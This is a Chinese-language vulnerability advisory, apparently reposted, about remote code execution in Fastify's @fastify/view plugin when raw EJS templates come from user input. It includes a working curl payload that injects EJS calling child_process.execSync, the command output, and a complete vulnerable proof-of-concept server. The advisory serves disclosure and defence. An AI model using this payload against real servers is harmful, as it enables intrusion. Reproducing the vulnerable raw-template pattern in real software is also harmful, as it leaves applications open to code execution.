通过@fastify/view raw 渲染实现远程代码执行

admin 2025年5月6日17:13:05评论11 views字数 2330阅读7分46秒阅读模式
通过@fastify/view raw 渲染实现远程代码执行

供应商: Fastify

组件: @fastify/view

影响:远程代码执行(RCE)

发现者: Oblivionsage

供应商确认:是(通过 HackerOne 上的公开评论)

截至 2025 年 5 月,Fastify 已更新其文档并发出明确警告:

请勿将原始内容与不受信任的内容一起使用,否则您将容易受到远程代码执行(RCE)攻击。

GitHub PR:fastify/point-of-view#475

漏洞摘要

Fastify 的@fastify/view插件允许使用 进行原始模板渲染raw: true。当与EJS

和不受信任的用户输入 一起使用时,将导致远程代码执行。

Fastify 自己的测试文件在没有警告的情况下展示了这种使用模式,

这可能会误导开发人员相信危险行为。

远程代码执行(RCE)

该@fastify/view插件与 EJS 引擎和reply.view({ raw: <user-controlled-string> })相关模式配合使用时,允许任意 EJS 执行。当攻击者能够控制raw传递给视图渲染器的内容时,这会导致远程代码执行 (RCE)。此漏洞源于 Fastify 信任未经任何清理或限制的原始模板字符串,并将其直接传递给 EJS 的compile()方法。

这是实际使用的有效载荷的最小示例:

curl -X POST http://localhost:3000/render   -H "Content-Type: application/x-www-form-urlencoded"  --data-urlencode 'text=<%= require("child_process").execSync("id").toString() %>'

输出:

uid=1000(nullprophet) gid=1000(nullprophet) groups=...
截屏:curl.png

通过@fastify/view raw 渲染实现远程代码执行

这通过模板逻辑证实了完整的 RCE — 与您的官方示例相匹配(例如reply.view({ raw }))。

这将在服务器上执行任意命令并返回结果。服务器端代码默认不包含此逻辑——它只是将不受信任的输入传递给rawEJS 上下文。

该漏洞的工作原理如下:

我们复制了文档中提到的模式,并允许通过 POST /render 进行原始 EJS 注入。以下是使用的 PoC 服务器代码:

// Based on official Fastify repo usage of raw templates:// https://github.com/fastify/point-of-view/blob/master/test/test-ejs.jsconst fastify = require('fastify')();const ejsrequire('ejs');const formBody = require('@fastify/formbody');const view = require('@fastify/view');fastify.register(formBody); // Needed to parse POST x-www-form-urlencodedfastify.register(view, {  engine: { ejs }});// Renders raw EJS passed via POST parameter 'text'fastify.post('/render'(req, reply) => {const template = req.body.text;// Pass 'require' to the template contextreturn reply.view({ raw: template }, { require }, { asyncfalse });});fastify.listen({ port: 3000 }, err => {if (err) throw err;console.log('Listening on http://localhost:3000');});

基于 Fastify 自己的示例代码

该设置直接基于 Fastify 官方point-of-view仓库中的真实示例。具体如下:

https://github.com/fastify/point-of-view/blob/master/test/test-ejs.jsreply.view({ raw: fs.readFileSync('./templates/index.ejs''utf8') }, data)

在我们的 PoC 中,我们使用了这种方法:

reply.view({ raw: template }, { require }, { asyncfalse });

这种用法raw存在于代码库的多个地方,包括README.md、测试文件和示例模板。

依恋:

通过@fastify/view raw 渲染实现远程代码执行
通过@fastify/view raw 渲染实现远程代码执行

为什么这很重要

这里需要关注的不是 Fastify 本身执行命令,而是 Fastify 的视图插件:

接受无限制的原始模板输入

编译并执行,无任何警告或清理

允许开发人员在使用此模式时不知不觉地将自己暴露于 RCE

这种行为正是导致模板注入在现代应用程序中存在风险的原因。

供应商回应:

Fastify 团队承认存在风险,但选择不应用代码级补丁。

随后,Fastify 更新了其官方文档,明确警告使用不受信任的原始输入的危险:

“请勿将原始内容与不受信任的内容一起使用,否则您将容易受到远程代码执行(RCE)攻击。

GitHub PR:fastify/point-of-view#475

— Fastify 文档(2025 年 5 月)。

⚠️此 PoC 仅用于合法安全研究。请勿在您不拥有或未获得明确测试许可的系统上使用它。

原文始发于微信公众号(Ots安全):通过@fastify/view raw 渲染实现远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月6日17:13:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过@fastify/view raw 渲染实现远程代码执行https://cn-sec.com/archives/4033994.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息